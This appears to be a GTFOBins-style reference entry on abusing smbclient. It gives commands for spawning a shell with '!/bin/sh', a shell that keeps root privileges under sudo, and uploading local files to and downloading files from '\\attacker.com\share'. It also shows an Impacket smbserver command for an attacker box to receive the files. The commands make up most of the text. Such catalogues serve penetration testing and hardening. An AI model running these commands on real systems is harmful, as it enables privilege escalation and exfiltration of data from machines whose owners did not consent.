smbclient

Shell

This executable can spawn an interactive system shell.
  1. CommentA valid SMB/CIFS server must be available.
    This function can be performed by any unprivileged user.
    smbclient '\\host\share'
    !/bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    smbclient '\\host\share'
    !/bin/sh

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'
    ReceiverA SMB/CIFS server can be used on the attacker box to receive the data (e.g, using Impacket).
    smbserver.py -smb2support share .

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'
    SenderA SMB/CIFS server can be used on the attacker box to receive the data (e.g, using Impacket).
    smbserver.py -smb2support share .